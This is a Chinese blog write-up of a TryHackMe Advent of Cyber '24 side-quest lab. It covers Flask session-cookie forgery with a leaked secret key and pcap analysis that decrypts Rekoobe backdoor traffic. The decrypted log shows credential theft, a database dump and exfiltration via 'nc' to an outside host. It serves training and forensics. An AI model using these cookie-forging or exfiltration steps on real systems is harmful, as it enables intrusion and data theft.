keycard
通过看这道题第一次通过的时间判断出
keycard
藏在第一个房间里啊嗯回顾一下第一个房间:大概率在那个
C2
服务器里面:http://papash3ll.thm
直接访问不了,那就经典加
hosts
访问,看到一个登陆框去搜下
title
,第一个就是:https://github.com/Bloatware-WarevilleTHM/C2-Server点进去看到是
flask
的,找到硬编码信息:1
2
3
4app.secret_key = "@09JKD0934jd712?djD"
ADMIN_USERNAME = "admin"
ADMIN_PASSWORD = "securepassword" #CHANGE ME!!!可惜这个密码登不上去,考虑用
secret_key
伪造cookie
直接登录:1
2
3
4
5
6
7from itsdangerous import URLSafeTimedSerializer
secret_key = "@09JKD0934jd712?djD"
serializer = URLSafeTimedSerializer(secret_key)
session_data = {"logged_in": True, "username": "admin"}
token = serializer.dumps(session_data)
print(f"Cookie Value: {token}")卡在这里了,一直跳转回
login
这里是分割线,等结束看了下wp,思路对的,在最后一步好像是犯病了
flask
的cookie
值名应该是session
,以及他们用的都是flask-unsign
来生成:1
flask-unsign --sign -c "{'logged_in':True,'username':'admin'}" --secret "@09JKD0934jd712?djD"
在
/data
中找到:password:vK5RMlvkGO3QiLU
流量分析
攻击者在网站上注册时使用的密码
直接搜
password
,在一堆html
之后找到POST
发送到register.php
的密码QU9DMjAyNHtUaW55X1R
攻击者获取的密码
继续向下搜找到
/admin/login.php
中提交的密码:pbnlfVGlueV9TaDNsbF
攻击者传输的 zip 文件的密码
在
file-export objects-http
里面看看传输的文件,但并没有.zip
那么从流量下手,过滤掉
22
和80
的流量,再忽略nmap
的那堆东西,最下面找到9001
和9002
的流量,大概是反弹shell的端口9001
的经过加密了,没什么重要的而对于
9002
,找到个压缩包,大概就是需要的当然也可以通过筛选
zip
的十六进制头来找到这个:1
tcp contains 50:4b:03:04
以
raw
格式save as
下来,发现确实有密码(那么只能回头去尝试分析
9001
上的加密流量,在可导出的文件中找到了一个奇怪的二进制文件ff
存下来,先用
strings
看了看,确实没有东西可以用 virustotal 来检查其是否为恶意软件
md5sum
拿到哈希去搜一下:看到可能是
Rekoobe
后门对于
rekoobe
通信内容可以参考这篇,文中指出身份验证中最相关步骤:客户端将从服务器读取 $40$ 字节的流。此数据包将被分成两个 $20$ 字节的块,用于初始化两个 $AES128_HMAC_SHA1$ 上下文。将使用给定的共享密钥(较新版本中的“idontknow”硬编码字符串)针对每个 $20$ 字节流生成 $HMAC\space SHA1$ 对,它们将用作加密和解密未来数据包的 $AES128$ 密钥。
而通过
ghidra
反编译文件得到硬编码的密钥SuP3RSeCrEt
即加密通信的内容如下
- 从服务器获取前 40 个字节(tcp 握手后)
- 分成两个 20 个字节
对每个部分应用 AES128_HMAC_SHA1,使用
SuP3RSeCrEt
作为密钥,从而生成加密和解密密钥在
github
上搜索rekoobe
拿到写好的分析器原工具在 https://github.com/alexander-utkov/rekobee-analyzer ,但因为thm被隐藏了,在 https://github.com/DaXcess/rekoobe-analyzer 有另一个也被隐藏的用ruby写的替代品
正常来说应该能解密出如下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64python3 rekobee-analyzer/analyze.py -c 9001.pcapng -s SuP3RSeCrEt -vv
[ ok ] Found the initial packet at 7.
[info] Participants:
• CNC: 10.13.44.207:42312
• Slave: 10.10.103.220:9001
[info] Initial packet payload (salts highlighted):
[data] 26 f3 21 ef d8 ee 63 7c 40 86 57 b6 fd 94 05 9e 33 19 1e 95 | & ó ! ï Ø î c | @ W ¶ ý 3
[0x14] 3a 41 61 1c b0 b4 b3 a0 f8 89 f6 79 61 61 20 96 1d 87 f6 83 | : A a ° ´ ³ ø ö y a a ö
[info] Encryption (from the client's point of view):
1) AES(key=d11851d2a0bc9f66a9627cb0e4b6d7e4, iv=3a41611cb0b4b3a0f889f67961612096) for sending;
2) AES(key=b2111707b9855c80935c9373f0537f4a, iv=26f321efd8ee637c408657b6fd94059e) for receiving.
[info] Advance to packet 9 (sent by master).
[info] The packet will be decrypted with #2 AES context.
[info] Packet header (and initial buffer):
[data] 00 10 58 90 ae 86 f1 b9 1c f6 29 83 95 71 1d de | X ® ñ ¹ ö ) q Þ
[info] Packet:
• size: 16;
• HMAC: e7731c5d3710808c37cc13f7d710d245dca8874c.
[info] Content:
...
...
...
→ root@database:/tmp# cat /var/www/html/config.php
→ <?php
→ /* Database credentials. Assuming you are running MySQL
→ server with default setting (user 'root' with no password) */
→ define('DB_SERVER', 'localhost');
→ define('DB_USERNAME', 'mcskidy');
→ define('DB_PASSWORD', 'aBT4ZfhteNRE3ah');
→ define('DB_NAME', 'website');
→
→ /* Attempt to connect to MySQL database */
→ $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
→
→ // Check connection
→ if($mysqli === false){
→ die("ERROR: Could not connect. " . $mysqli->connect_error);
→ }
→ ?>
→
→ root@database:/tmp# mysql -h localhost -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show databases;'
→ mysql: [Warning] Using a password on the command line interface can be insecure.
→ +--------------------+
→ | Database |
→ +--------------------+
→ | elves |
→ | information_schema |
→ | website |
→ +--------------------+
→ root@database:/tmp# mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'
→ mysql: [Warning] Using a password on the command line interface can be insecure.
→ +-----------------+
→ | Tables_in_elves |
→ +-----------------+
→ | elf |
→ +-----------------+
→ root@database:/tmp# mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
→ mysqldump: [Warning] Using a password on the command line interface can be insecure.
→ root@database:/tmp# zip -P 9jYW5fRW5jcnlwVF9iVXR elves.zip elves.sql
→ adding: elves.sql (deflated 58%)
→ root@database:/tmp# nc -w 3 10.13.44.207 9002 < elves.zip
→ root@database:/tmp# echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
→ root@database:/tmp#
[info] Done.拿到密码
9jYW5fRW5jcnlwVF9iVXR
攻击者窃取的数据库文件中的 McSkidy 密码是什么?
解压出数据库文件
cat
一下就行faXRfSXNfTjB0X0YwMGxwcm8wZn0=
THM打靶日寄38-Advent of Cyber '24:支线T1丑陋复现
- 本文链接: http://noone40404.github.io/2024/12/06/THM打靶日寄38:Advent of Cyber '24 Side QuestT1/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!